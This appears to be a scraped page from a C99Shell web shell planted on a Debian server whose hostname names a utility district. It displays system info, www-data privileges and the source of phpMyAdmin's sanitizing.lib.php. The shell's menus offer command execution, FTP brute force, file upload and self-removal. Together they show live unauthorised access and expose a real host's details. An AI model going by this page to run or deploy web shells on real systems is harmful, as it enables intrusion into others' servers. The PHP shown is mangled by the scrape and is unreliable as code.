!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.16 (Debian). PHP/5.3.3-7+squeeze19 

uname -a: Linux mail.tri-specialutilitydistrict.com 2.6.32-5-amd64 #1 SMP Tue May 13 16:34:35 UTC
2014 x86_64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/share/phpmyadmin/libraries/   drwxr-xr-x
Free 130.05 GB of 142.11 GB (91.51%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     sanitizing.lib.php (2.41 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/* vim: set expandtab sw=4 ts=4 sts=4: */
/**
 * This is in a separate script because it's called from a number of scripts
 *
 * @version $Id$
 * @package phpMyAdmin
 */

/**
 * Sanitizes $message, taking into account our special codes
 * for formatting.
 *
 * If you want to include result in element attribute, you should escape it.
 *
 * Examples:
 *
 * <p><?php echo PMA_sanitize($foo); ?></p>
 *
 * <a title="<?php echo PMA_sanitize($foo, true); ?>">bar</a>
 *
 * @uses    preg_replace()
 * @uses    strtr()
 * @param   string   the message
 * @param   boolean  whether to escape html in result
 *
 * @return  string   the sanitized message
 *
 * @access  public
 */
function PMA_sanitize($message$escape false)
{
    
$replace_pairs = array(
        
'<'         => '&lt;',
        
'>'         => '&gt;',
        
'[i]'       => '<em>',      // deprecated by em
        
'[/i]'      => '</em>',     // deprecated by em
        
'[em]'      => '<em>',
        
'[/em]'     => '</em>',
        
'[b]'       => '<strong>',  // deprecated by strong
        
'[/b]'      => '</strong>'// deprecated by strong
        
'[strong]'  => '<strong>',
        
'[/strong]' => '</strong>',
        
'[tt]'      => '<code>',    // deprecated by CODE or KBD
        
'[/tt]'     => '</code>',   // deprecated by CODE or KBD
        
'[code]'    => '<code>',
        
'[/code]'   => '</code>',
        
'[kbd]'     => '<kbd>',
        
'[/kbd]'    => '</kbd>',
        
'[br]'      => '<br />',
        
'[/a]'      => '</a>',
        
'[sup]'      => '<sup>',
        
'[/sup]'      => '</sup>',
    );
    
$message strtr($message$replace_pairs);

    
$pattern '/\[a@([^"@]*)@([^]"]*)\]/';

    if (
preg_match_all($pattern$message$foundsPREG_SET_ORDER)) {
        
$valid_links = array(
            
'http',  // default http:// links (and https://)
            
'./Do',  // ./Documentation
        
);

        foreach (
$founds as $found) {
            
// only http... and ./Do... allowed
            
if (! in_array(substr($found[1], 04), $valid_links)) {
                return 
$message;
            }
            
// a-z and _ allowed in target
            
if (! empty($found[2]) && preg_match('/[^a-z_]+/i'$found[2])) {
                return 
$message;
            }
        }

        
$message preg_replace($pattern'<a href="\1" target="\2">'$message);
    }

    if (
$escape) {
        
$message htmlspecialchars($message);
    }

    return 
$message;
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0264 ]--